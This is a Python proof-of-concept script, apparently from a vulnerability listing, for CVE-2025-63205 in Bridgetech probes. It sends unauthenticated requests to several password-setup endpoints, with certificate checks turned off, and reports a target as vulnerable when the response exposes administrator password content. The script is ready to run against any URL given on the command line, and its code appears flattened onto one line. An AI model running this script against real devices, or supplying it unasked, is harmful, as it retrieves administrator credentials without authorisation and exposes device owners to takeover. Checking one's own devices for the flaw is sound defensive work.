CVE-2025-63205: bridgetech probes 敏感信息泄露漏洞

import requests # CVE-2025-63205 PoC - Bridgetech Probes Information Disclosure # Target: /probe/core/setup/passwd endpoint # Vulnerability: Unauthenticated access to administrator passwords def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-63205 """ endpoints = [ '/probe/core/setup/passwd', '/cgi-bin/probe/core/setup/passwd', '/api/probe/core/setup/passwd' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if response contains password-like content content = response.text.lower() if 'password' in content or 'passwd' in content or 'admin' in content: print(f'[+] VULNERABLE: {url}') print(f'[+] Status Code: {response.status_code}') print(f'[+] Response Length: {len(response.content)} bytes') return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {url}: {e}') return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve-2025-63205.py <target_url>') print('Example: python cve-2025-63205.py https://192.168.1.100') sys.exit(1) target = sys.argv[1] print(f'[*] Scanning target: {target}') print(f'[*] CVE-2025-63205 - Bridgetech Probes Information Disclosure\n') if check_vulnerability(target): print('\n[!] Target is vulnerable - sensitive information may be exposed') else: print('\n[*] Target appears to be patched or not vulnerable')